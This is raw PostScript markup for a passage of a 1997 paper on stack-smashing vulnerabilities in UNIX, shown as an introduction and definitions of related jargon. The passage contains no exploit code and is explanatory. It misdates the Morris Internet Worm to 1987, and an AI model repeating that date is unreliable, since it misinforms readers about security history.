%%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1426 M (1) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1385 M ( See RFC 1135 for more information; http://www.pmg.lcs.mit.edu/cgi-bin/rfc/view?\ 1135) 3975 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (2) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1230 M ( for more information see http://www.takedown.com) 2352 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1644 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 9798 M ( 1. Introduction) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9508 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1969 9508 M (combining ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2747 9508 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3017 9508 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3195 9508 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4169 9508 M (l) ST -2 0 MR (a) ST -3 0 MR (n) ST -3 0 MR (g) ST -3 0 MR (u) ST -3 0 MR (a) ST -3 0 MR (g) ST -3 0 MR (e) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4931 9508 M (liberal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5423 9508 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6100 9508 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6296 9508 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6919 9508 M (handling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9232 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1547 9232 M (specific ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2109 9232 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2569 9232 M (filesystem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3298 9232 M (permissions, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4180 9232 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4464 9232 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5136 9232 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5643 9232 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5918 9232 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6119 9232 M (manipulated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6985 9232 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 9232 M (grant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8956 M (unrestricted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2050 8956 M (privilege ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2696 8956 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2880 8956 M (unprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3775 8956 M (accounts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4412 8956 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4606 8956 M (users. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5046 8956 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5221 8956 M (variety ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5738 8956 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5932 8956 M (exploit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6448 8956 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6752 8956 M (relies ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7168 8956 M (upon ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8680 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1604 8680 M (two ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1910 8680 M (factors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2421 8680 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2589 8680 M (commonly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3358 8680 M (known ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3867 8680 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4063 8680 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4194 8680 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4648 8680 M (overflow) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5230 8680 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5329 8680 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5525 8680 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5924 8680 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6609 8680 M (vulnerability. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8404 M (Stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1614 8404 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2287 8404 M (plays ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2682 8404 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2883 8404 M (important ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3574 8404 M (role ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3877 8404 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4050 8404 M (high ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4389 8404 M (profile ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4877 8404 M (computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5550 8404 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6121 8404 M (incidents ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6765 8404 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7114 8404 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 8404 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8128 M (Robert ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1762 8128 M (Tappan ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2363 8128 M (Morris ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2919 8128 M (Internet ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3548 8128 M (Worm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3955 8169 M (1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4024 8128 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4126 8128 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4357 8128 M (1987, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4833 8128 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5175 8128 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5480 8128 M (Kevin ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5988 8128 M (Mitnick ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6616 8128 M (vs. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6908 8128 M (Tsutomu ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7852 M (Shimomura ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2050 7852 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2645 7852 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2834 7852 M (1995) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3166 7893 M (2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3235 7852 M (. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3379 7852 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3578 7852 M (order ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3990 7852 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4179 7852 M (secure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4665 7852 M (modern ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5234 7852 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5710 7852 M (systems, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6340 7852 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6492 7852 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6663 7852 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 7852 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7576 M (understand why stack smashing occurs and what one can do to prevent it.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 7007 M (2. Terms) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 6717 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6717 M (Many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2149 6717 M (terms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2572 6717 M (exist ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2938 6717 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3239 6717 M (apply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3660 6717 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3841 6717 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4133 6717 M (problem. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4824 6717 M (Smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5522 6717 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5777 6717 M (Stack) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6137 6717 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6231 6717 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6357 6717 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6715 6717 M (popularized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6441 M (recently ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1791 6441 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2001 6441 M (Aleph ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2451 6441 M (One ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2772 6441 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3056 6441 M (others ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3507 6441 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3680 6441 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3927 6441 M (Internet ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4489 6441 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5060 6441 M (community, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5904 6441 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6059 6441 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6315 6441 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6562 6441 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6901 6441 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 6441 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6165 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1492 6165 M (been ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1866 6165 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2231 6165 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2420 6165 M (describe ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3035 6165 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3335 6165 M (issue. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3770 6165 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4089 6165 M (fandango ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4776 6165 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5002 6165 M (core) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5298 6165 M (,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5340 6165 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5442 6165 M (overrun ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6029 6165 M (screw, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6520 6165 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6922 6165 M (scribble, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 5889 M (and) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 1440 5889 M ( stale pointer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2318 5889 M ([1]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2513 5889 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2555 5889 M (all relate to stack smashing.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 5588 M (2.1 Fandango on Core) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 5305 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1898 5305 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2068 5305 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3034 5305 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3259 5305 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3734 5305 M (machines, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4464 5305 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4597 5305 M (fandango ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5283 5305 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5508 5305 M (core) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5804 5305 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5863 5305 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6033 5305 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6166 5305 M (generic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6715 5305 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7080 5305 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 5305 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5029 M (bugs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1573 5029 M (involving ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2254 5029 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2373 5029 M (wild ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2713 5029 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3229 5029 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3523 5029 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3790 5029 M (run ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4057 5029 M (out ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4314 5029 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4498 5029 M (bounds, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5065 5029 M (causing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5618 5029 M (core ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5950 5029 M (dumps ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6439 5029 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6623 5029 M (corruption ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7361 5029 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4753 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1843 4753 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2462 4753 M (allocation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3180 4753 M (space. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3697 4753 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4056 4753 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4405 4753 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4607 4753 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5235 4753 M (activity ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5796 4753 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5970 4753 M (crucial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6486 4753 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6678 4753 M (constructing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4477 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1612 4477 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2304 4477 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2894 4477 M (vulnerabilities. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3992 4477 M (Any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4341 4477 M (number ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4913 4477 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5115 4477 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5381 4477 M (terms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5815 4477 M (may ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6165 4477 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6385 4477 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6753 4477 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6945 4477 M (describe ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4201 M (conditions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1990 4201 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2332 4201 M (lead ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2702 4201 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2924 4201 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3359 4201 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4081 4201 M (vulnerabilities, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5167 4201 M (and, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5542 4201 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5764 4201 M (general, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6389 4201 M (refer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6798 4201 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7020 4201 M (usually ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3925 M (undesirable operations on dynamically allocated memory.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 3624 M (2.2 Overrun Screw) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 3341 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1867 3341 M (variety ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2374 3341 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2558 3341 M (fandango ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3230 3341 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3441 3341 M (core) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3737 3341 M (; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3828 3341 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4030 3341 M (overrun ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4602 3341 M (screw ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5036 3341 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5192 3341 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5311 3341 M (generic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5846 3341 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6197 3341 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6437 3341 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6593 3341 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3065 M (bugs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1581 3065 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1892 3065 M (scribble ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2481 3065 M (past ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2811 3065 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3076 3065 M (end ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3378 3065 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3579 3065 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3798 3065 M (array. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4287 3065 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4469 3065 M (lack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4808 3065 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5009 3065 M (bounds ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5551 3065 M (checking ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6213 3065 M (makes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6701 3065 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7003 3065 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7139 3065 M (fairly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2789 M (common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1886 2789 M (occurrence ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2717 2789 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2946 2789 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3249 2789 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3460 2789 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4467 2789 M (language. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5251 2789 M (Overrun ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5915 2789 M (screw) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6304 2789 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6404 2789 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6615 2789 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6789 2789 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7195 2789 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2513 M (specifically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2032 2513 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2456 2513 M (a ) ST GR 0.0000 